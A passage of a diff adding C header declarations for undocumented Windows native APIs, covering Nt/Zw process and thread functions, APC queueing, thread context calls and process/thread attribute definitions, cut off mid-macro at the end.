ProcessInformationClass, + _In_reads_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _In_reads_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength +); + +#define STATECHANGE_SET_ATTRIBUTES 0x0001 + +typedef enum _PROCESS_STATE_CHANGE_TYPE +{ + ProcessStateChangeSuspend, + ProcessStateChangeResume, + ProcessStateChangeMax, +} PROCESS_STATE_CHANGE_TYPE, * PPROCESS_STATE_CHANGE_TYPE; + +#if (NTDDI_VERSION >= NTDDI_WIN10_CO) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProcessStateChange( + _Out_ PHANDLE ProcessStateChangeHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_opt_ ULONG64 Reserved +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateProcessStateChange( + _Out_ PHANDLE ProcessStateChangeHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_opt_ ULONG64 Reserved +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtChangeProcessState( + _In_ HANDLE ProcessStateChangeHandle, + _In_ HANDLE ProcessHandle, + _In_ PROCESS_STATE_CHANGE_TYPE StateChangeType, + _In_opt_ PVOID ExtendedInformation, + _In_opt_ SIZE_T ExtendedInformationLength, + _In_opt_ ULONG64 Reserved +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwChangeProcessState( + _In_ HANDLE ProcessStateChangeHandle, + _In_ HANDLE ProcessHandle, + _In_ PROCESS_STATE_CHANGE_TYPE StateChangeType, + _In_opt_ PVOID ExtendedInformation, + _In_opt_ SIZE_T ExtendedInformationLength, + _In_opt_ ULONG64 Reserved +); +#endif + +typedef enum _THREAD_STATE_CHANGE_TYPE +{ + ThreadStateChangeSuspend, + ThreadStateChangeResume, + ThreadStateChangeMax, +} THREAD_STATE_CHANGE_TYPE, * PTHREAD_STATE_CHANGE_TYPE; + +#if (NTDDI_VERSION >= NTDDI_WIN10_CO) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateThreadStateChange( + _Out_ PHANDLE ThreadStateChangeHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ThreadHandle, + _In_opt_ ULONG64 Reserved +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateThreadStateChange( + _Out_ PHANDLE ThreadStateChangeHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ThreadHandle, + _In_opt_ ULONG64 Reserved +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtChangeThreadState( + _In_ HANDLE ThreadStateChangeHandle, + _In_ HANDLE ThreadHandle, + _In_ THREAD_STATE_CHANGE_TYPE StateChangeType, + _In_opt_ PVOID ExtendedInformation, + _In_opt_ SIZE_T ExtendedInformationLength, + _In_opt_ ULONG64 Reserved +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwChangeThreadState( + _In_ HANDLE ThreadStateChangeHandle, + _In_ HANDLE ThreadHandle, + _In_ THREAD_STATE_CHANGE_TYPE StateChangeType, + _In_opt_ PVOID ExtendedInformation, + _In_opt_ SIZE_T ExtendedInformationLength, + _In_opt_ ULONG64 Reserved +); +#endif + +// +// Threads +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _Out_ PCLIENT_ID ClientId, + _In_ PCONTEXT ThreadContext, + _In_ PINITIAL_TEB InitialTeb, + _In_ BOOLEAN CreateSuspended +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _Out_ PCLIENT_ID ClientId, + _In_ PCONTEXT ThreadContext, + _In_ PINITIAL_TEB InitialTeb, + _In_ BOOLEAN CreateSuspended +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtTerminateThread( + _In_opt_ HANDLE ThreadHandle, + _In_ NTSTATUS ExitStatus +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwTerminateThread( + _In_opt_ HANDLE ThreadHandle, + _In_ NTSTATUS ExitStatus +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSuspendThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSuspendThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount +); + +__kernel_entry NTSYSCALLAPI +ULONG +NTAPI +NtGetCurrentProcessorNumber( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +ULONG +NTAPI +ZwGetCurrentProcessorNumber( + VOID +); + +#if (NTDDI_VERSION >= NTDDI_WIN10) +__kernel_entry NTSYSCALLAPI +ULONG +NTAPI +NtGetCurrentProcessorNumberEx( + _Out_opt_ PPROCESSOR_NUMBER ProcessorNumber +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +ULONG +NTAPI +ZwGetCurrentProcessorNumberEx( + _Out_opt_ PPROCESSOR_NUMBER ProcessorNumber +); +#endif // NTDDI_VERSION >= NTDDI_WIN10 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetContextThread( + _In_ HANDLE ThreadHandle, + _Inout_ PCONTEXT ThreadContext +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetContextThread( + _In_ HANDLE ThreadHandle, + _Inout_ PCONTEXT ThreadContext +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetContextThread( + _In_ HANDLE ThreadHandle, + _In_ PCONTEXT ThreadContext +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetContextThread( + _In_ HANDLE ThreadHandle, + _In_ PCONTEXT ThreadContext +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _Out_writes_bytes_(ThreadInformationLength) PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _Out_writes_bytes_(ThreadInformationLength) PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength, + _Out_opt_ PULONG ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _When_((ThreadInformationClass != ThreadManageWritesToExecutableMemory), + _In_reads_bytes_(ThreadInformationLength)) + _When_((ThreadInformationClass == ThreadManageWritesToExecutableMemory), + _Inout_updates_(ThreadInformationLength)) + PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _In_reads_bytes_(ThreadInformationLength) PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlertThread( + _In_ HANDLE ThreadHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlertThread( + _In_ HANDLE ThreadHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlertResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlertResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtTestAlert( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwTestAlert( + VOID +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtContinue( + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN TestAlert +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwContinue( + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN TestAlert +); + +typedef enum _KCONTINUE_TYPE +{ + KCONTINUE_UNWIND, + KCONTINUE_RESUME, + KCONTINUE_LONGJUMP, + KCONTINUE_SET, + KCONTINUE_LAST, +} KCONTINUE_TYPE; + +typedef struct _KCONTINUE_ARGUMENT +{ + KCONTINUE_TYPE ContinueType; + ULONG ContinueFlags; + ULONGLONG Reserved[2]; +} KCONTINUE_ARGUMENT, * PKCONTINUE_ARGUMENT; + +#define KCONTINUE_FLAG_TEST_ALERT 0x00000001 // wbenny +#define KCONTINUE_FLAG_DELIVER_APC 0x00000002 // wbenny + +#if (NTDDI_VERSION >= NTDDI_WIN10_VB) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtContinueEx( + _In_ PCONTEXT ContextRecord, + _In_ PVOID ContinueArgument // PKCONTINUE_ARGUMENT and BOOLEAN are valid +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwContinueEx( + _In_ PCONTEXT ContextRecord, + _In_ PVOID ContinueArgument // PKCONTINUE_ARGUMENT and BOOLEAN are valid +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_VB + +//FORCEINLINE +//NTSTATUS +//NtContinue( +// _In_ PCONTEXT ContextRecord, +// _In_ BOOLEAN TestAlert +// ) +//{ +// return NtContinueEx(ContextRecord, (PCONTINUE_ARGUMENT)TestAlert); +//} + +//FORCEINLINE +//NTSTATUS +//ZwContinue( +// _In_ PCONTEXT ContextRecord, +// _In_ BOOLEAN TestAlert +// ) +//{ +// return ZwContinueEx(ContextRecord, (PCONTINUE_ARGUMENT)TestAlert); +//} + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtImpersonateThread( + _In_ HANDLE ServerThreadHandle, + _In_ HANDLE ClientThreadHandle, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwImpersonateThread( + _In_ HANDLE ServerThreadHandle, + _In_ HANDLE ClientThreadHandle, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRegisterThreadTerminatePort( + _In_ HANDLE PortHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRegisterThreadTerminatePort( + _In_ HANDLE PortHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetLdtEntries( + _In_ ULONG Selector0, + _In_ ULONG Entry0Low, + _In_ ULONG Entry0Hi, + _In_ ULONG Selector1, + _In_ ULONG Entry1Low, + _In_ ULONG Entry1Hi +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetLdtEntries( + _In_ ULONG Selector0, + _In_ ULONG Entry0Low, + _In_ ULONG Entry0Hi, + _In_ ULONG Selector1, + _In_ ULONG Entry1Low, + _In_ ULONG Entry1Hi +); + +typedef VOID(*PPS_APC_ROUTINE)( + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 + ); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueueApcThread( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueueApcThread( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); + +#if (NTDDI_VERSION >= ntddi_WIN7) +#define APC_FORCE_THREAD_SIGNAL ((HANDLE)1) // ReserveHandle + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueueApcThreadEx( + _In_ HANDLE ThreadHandle, + _In_opt_ HANDLE ReserveHandle, // NtAllocateReserveObject + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueueApcThreadEx( + _In_ HANDLE ThreadHandle, + _In_opt_ HANDLE ReserveHandle, // NtAllocateReserveObject + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_CO) + +#ifdef _KERNEL_MODE +typedef enum _QUEUE_USER_APC_FLAGS { + QUEUE_USER_APC_FLAGS_NONE = 0x0, + QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC = 0x1, +} QUEUE_USER_APC_FLAGS; +#endif // !_KERNEL_MODE + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueueApcThreadEx2( + _In_ HANDLE ThreadHandle, + _In_opt_ HANDLE ReserveHandle, // NtAllocateReserveObject + _In_ QUEUE_USER_APC_FLAGS ApcFlags, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueueApcThreadEx2( + _In_ HANDLE ThreadHandle, + _In_opt_ HANDLE ReserveHandle, // NtAllocateReserveObject + _In_ QUEUE_USER_APC_FLAGS ApcFlags, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN8) +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlertThreadByThreadId( + _In_ HANDLE ThreadId +); + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlertThreadByThreadId( + _In_ HANDLE ThreadId +); + +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForAlertByThreadId( + _In_ PVOID Address, + _In_opt_ PLARGE_INTEGER Timeout +); + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForAlertByThreadId( + _In_ PVOID Address, + _In_opt_ PLARGE_INTEGER Timeout +); +#endif + +// +// User processes and threads +// + +// +// Attributes +// + +// private +#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff +#define PS_ATTRIBUTE_THREAD 0x00010000 // may be used with thread creation +#define PS_ATTRIBUTE_INPUT 0x00020000 // input only +#define PS_ATTRIBUTE_ADDITIVE 0x00040000 // "accumulated" e.g. bitmasks, counters, etc. + +#ifdef _KERNEL_MODE +typedef enum _PROC_THREAD_ATTRIBUTE_NUM { + ProcThreadAttributeParentProcess = 0, + ProcThreadAttributeExtendedFlags = 1, + ProcThreadAttributeHandleList = 2, + ProcThreadAttributeGroupAffinity = 3, + ProcThreadAttributePreferredNode = 4, + ProcThreadAttributeIdealProcessor = 5, + ProcThreadAttributeUmsThread = 6, + ProcThreadAttributeMitigationPolicy = 7, + ProcThreadAttributeSecurityCapabilities = 9, + ProcThreadAttributeConsoleReference = 10, + ProcThreadAttributeProtectionLevel = 11, + ProcThreadAttributeJobList = 13, + ProcThreadAttributeChildProcessPolicy = 14, + ProcThreadAttributeAllApplicationPackagesPolicy = 15, + ProcThreadAttributeWin32kFilter = 16, + ProcThreadAttributeSafeOpenPromptOriginClaim = 17, + ProcThreadAttributeDesktopAppPolicy = 18, + ProcThreadAttributeBnoIsolation = 19, + ProcThreadAttributePseudoConsole = 22, + ProcThreadAttributeMitigationAuditPolicy = 24, + ProcThreadAttributeMachineType = 25, + ProcThreadAttributeComponentFilter = 26, + ProcThreadAttributeEnableOptionalXStateFeatures = 27, +} PROC_THREAD_ATTRIBUTE_NUM; +#else // _KERNEL_MODE +// PROC_THREAD_ATTRIBUTE_NUM (Win32 CreateProcess) (dmex) +#define ProcThreadAttributeParentProcess ((_PROC_THREAD_ATTRIBUTE_NUM)0 ) // in HANDLE +#define ProcThreadAttributeExtendedFlags ((_PROC_THREAD_ATTRIBUTE_NUM)1 ) // in ULONG (PROC_EXTENDED_FLAG) +#define ProcThreadAttributeHandleList ((_PROC_THREAD_ATTRIBUTE_NUM)2 ) // in HANDLE[] +#define ProcThreadAttributeGroupAffinity ((_PROC_THREAD_ATTRIBUTE_NUM)3 ) // in GROUP_AFFINITY // since WIN7 +#define ProcThreadAttributePreferredNode ((_PROC_THREAD_ATTRIBUTE_NUM)4 ) // in USHORT +#define ProcThreadAttributeIdealProcessor ((_PROC_THREAD_ATTRIBUTE_NUM)5 ) // in PROCESSOR_NUMBER +#define ProcThreadAttributeUmsThread ((_PROC_THREAD_ATTRIBUTE_NUM)6 ) // in UMS_CREATE_THREAD_ATTRIBUTES +#define ProcThreadAttributeMitigationPolicy ((_PROC_THREAD_ATTRIBUTE_NUM)7 ) // in ULONG[] or ULONG64[] +#define ProcThreadAttributePackageName ((_PROC_THREAD_ATTRIBUTE_NUM)8 ) // in WCHAR[] // since WIN8 +#define ProcThreadAttributeSecurityCapabilities ((_PROC_THREAD_ATTRIBUTE_NUM)9 ) // in SECURITY_CAPABILITIES +#define ProcThreadAttributeConsoleReference ((_PROC_THREAD_ATTRIBUTE_NUM)10) // BaseGetConsoleReference (kernelbase.dll) +#define ProcThreadAttributeProtectionLevel ((_PROC_THREAD_ATTRIBUTE_NUM)11) // in ULONG +#define ProcThreadAttributeJobList ((_PROC_THREAD_ATTRIBUTE_NUM)13) // in HANDLE[] // since WIN10 +#define ProcThreadAttributeChildProcessPolicy ((_PROC_THREAD_ATTRIBUTE_NUM)14) // in ULONG +#define ProcThreadAttributeAllApplicationPackagesPolicy ((_PROC_THREAD_ATTRIBUTE_NUM)15) // in ULONG +#define ProcThreadAttributeWin32kFilter ((_PROC_THREAD_ATTRIBUTE_NUM)16) // in PROC_THREAD_WIN32KFILTER_ATTRIBUTE +#define ProcThreadAttributeSafeOpenPromptOriginClaim ((_PROC_THREAD_ATTRIBUTE_NUM)17) // since RS1 +#define ProcThreadAttributeDesktopAppPolicy ((_PROC_THREAD_ATTRIBUTE_NUM)18) // in ULONG // since RS2 +#define ProcThreadAttributeBnoIsolation ((_PROC_THREAD_ATTRIBUTE_NUM)19) // in PROC_THREAD_BNOISOLATION_ATTRIBUTE +#define ProcThreadAttributePseudoConsole ((_PROC_THREAD_ATTRIBUTE_NUM)22) // in HANDLE (HPCON) // since RS5 +#define ProcThreadAttributeMitigationAuditPolicy ((_PROC_THREAD_ATTRIBUTE_NUM)24) // in ULONG[] or ULONG64[] // since 20H1 +#define ProcThreadAttributeMachineType ((_PROC_THREAD_ATTRIBUTE_NUM)25) // in ULONG +#define ProcThreadAttributeComponentFilter ((_PROC_THREAD_ATTRIBUTE_NUM)26) // in ULONG +#define ProcThreadAttributeEnableOptionalXStateFeatures ((_PROC_THREAD_ATTRIBUTE_NUM)27) // in ULONG // since 20H2 +#endif // !_KERNEL_MODE + +#define PROC_EXTENDED_FLAG_LOG_ELEVATION_FAILURE 0x1 +#define PROC_EXTENDED_FLAG_IGNORE_ELEVATION 0x2 +#define PROC_EXTENDED_FLAG_FORCE_JOB_BREAKAWAY 0x4 // (requires SeTcbPrivilege) + +#define WIN32KFILTER_FLAG_ENABLE 0x1 +#define WIN32KFILTER_FLAG_AUDIT 0x2 + +typedef struct _PROC_THREAD_WIN32KFILTER_ATTRIBUTE +{ + ULONG Flags; + ULONG FilterLevel; +} PROC_THREAD_WIN32KFILTER_ATTRIBUTE, * PPROC_THREAD_WIN32KFILTER_ATTRIBUTE; + +typedef struct _PROC_THREAD_BNOISOLATION_ATTRIBUTE +{ + BOOL IsolationEnabled; + WCHAR IsolationPrefix[0x88]; +} PROC_THREAD_BNOISOLATION_ATTRIBUTE, * PPROC_THREAD_BNOISOLATION_ATTRIBUTE; + +#ifndef ProcThreadAttributeValue +#define ProcThreadAttributeValue(Number, Thread, Input, Additive) \ + (((Number) & PROC_THREAD_ATTRIBUTE_NUMBER) | \ + ((Thread != FALSE) ? PROC_THREAD_ATTRIBUTE_THREAD : 0) | \ + ((Input != FALSE) ? PROC_THREAD_ATTRIBUTE_INPUT : 0) | \ + ((Additive != FALSE) ? PROC_THREAD_ATTRIBUTE_ADDITIVE : 0)) +#endif + +#ifndef PROC_THREAD_ATTRIBUTE_PARENT_PROCESS +#define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS \ + ProcThreadAttributeValue (ProcThreadAttributeParentProcess, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_EXTENDED_FLAGS +#define PROC_THREAD_ATTRIBUTE_EXTENDED_FLAGS \ + ProcThreadAttributeValue (ProcThreadAttributeExtendedFlags, FALSE, TRUE, TRUE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_HANDLE_LIST +#define PROC_THREAD_ATTRIBUTE_HANDLE_LIST \ + ProcThreadAttributeValue (ProcThreadAttributeHandleList, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_GROUP_AFFINITY +#define PROC_THREAD_ATTRIBUTE_GROUP_AFFINITY \ + ProcThreadAttributeValue (ProcThreadAttributeGroupAffinity, TRUE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_PREFERRED_NODE +#define PROC_THREAD_ATTRIBUTE_PREFERRED_NODE \ + ProcThreadAttributeValue (ProcThreadAttributePreferredNode, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_IDEAL_PROCESSOR +#define PROC_THREAD_ATTRIBUTE_IDEAL_PROCESSOR \ + ProcThreadAttributeValue (ProcThreadAttributeIdealProcessor, TRUE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_UMS_THREAD +#define PROC_THREAD_ATTRIBUTE_UMS_THREAD \ + ProcThreadAttributeValue (ProcThreadAttributeUmsThread, TRUE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY +#define PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY \ + ProcThreadAttributeValue (ProcThreadAttributeMitigationPolicy, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES +#define PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES \ + ProcThreadAttributeValue (ProcThreadAttributeSecurityCapabilities, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_CONSOLE_REFERENCE +#define PROC_THREAD_ATTRIBUTE_CONSOLE_REFERENCE \ + ProcThreadAttributeValue (ProcThreadAttributeConsoleReference, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL +#define PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL \ + ProcThreadAttributeValue (ProcThreadAttributeProtectionLevel, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM +#define PROC_THREAD_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM \ + ProcThreadAttributeValue (ProcThreadAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_BNO_ISOLATION +#define PROC_THREAD_ATTRIBUTE_BNO_ISOLATION \ + ProcThreadAttributeValue (ProcThreadAttributeBnoIsolation, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE +#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE \ + ProcThreadAttributeValue (ProcThreadAttributePseudoConsole, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_MACHINE_TYPE +#define PROC_THREAD_ATTRIBUTE_MACHINE_TYPE \ + ProcThreadAttributeValue (ProcThreadAttributeMachineType, FALSE, TRUE, FALSE) +#endif +#ifndef PROC_THREAD_ATTRIBUTE_ENABLE_OPTIONAL_XSTATE_FEATURES +#define PROC_THREAD_ATTRIBUTE_ENABLE_OPTIONAL_XSTATE_FEATURES \ + ProcThreadAttributeValue (ProcThreadAttributeEnableOptionalXStateFeatures, TRUE, TRUE, FALSE) +#endif + + +// private +typedef enum _PS_ATTRIBUTE_NUM +{ + PsAttributeParentProcess, // in HANDLE + PsAttributeDebugPort, // in HANDLE + PsAttributeToken, // in HANDLE + PsAttributeClientId, // out PCLIENT_ID + PsAttributeTebAddress, // out PTEB * + PsAttributeImageName, // in PWSTR + PsAttributeImageInfo, // out PSECTION_IMAGE_INFORMATION + PsAttributeMemoryReserve, // in PPS_MEMORY_RESERVE + PsAttributePriorityClass, // in UCHAR + PsAttributeErrorMode, // in ULONG + PsAttributeStdHandleInfo, // 10, in PPS_STD_HANDLE_INFO + PsAttributeHandleList, // in PHANDLE + PsAttributeGroupAffinity, // in PGROUP_AFFINITY + PsAttributePreferredNode, // in PUSHORT + PsAttributeIdealProcessor, // in PPROCESSOR_NUMBER + PsAttributeUmsThread, // ? in PUMS_CREATE_THREAD_ATTRIBUTES + PsAttributeMitigationOptions, // in UCHAR + PsAttributeProtectionLevel, // in ULONG + PsAttributeSecureProcess, // since THRESHOLD + PsAttributeJobList, + PsAttributeChildProcessPolicy, // since THRESHOLD2 + PsAttributeAllApplicationPackagesPolicy, // since REDSTONE + PsAttributeWin32kFilter, + PsAttributeSafeOpenPromptOriginClaim, + PsAttributeBnoIsolation, // PS_BNO_ISOLATION_PARAMETERS + PsAttributeDesktopAppPolicy, // in ULONG + PsAttributeChpe, // since REDSTONE3 + PsAttributeMitigationAuditOptions, // since 21H1 + PsAttributeMachineType, // since WIN11 + PsAttributeComponentFilter, + PsAttributeEnableOptionalXStateFeatures, + PsAttributeMax +} PS_ATTRIBUTE_NUM; + +// begin_rev + +#define PsAttributeValue(Number, Thread, Input, Additive) \ + (((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \ + ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \ + ((Input) ? PS_ATTRIBUTE_INPUT : 0) | \ + ((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0)) + +#define PS_ATTRIBUTE_PARENT_PROCESS \ + PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_DEBUG_PORT \ + PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, 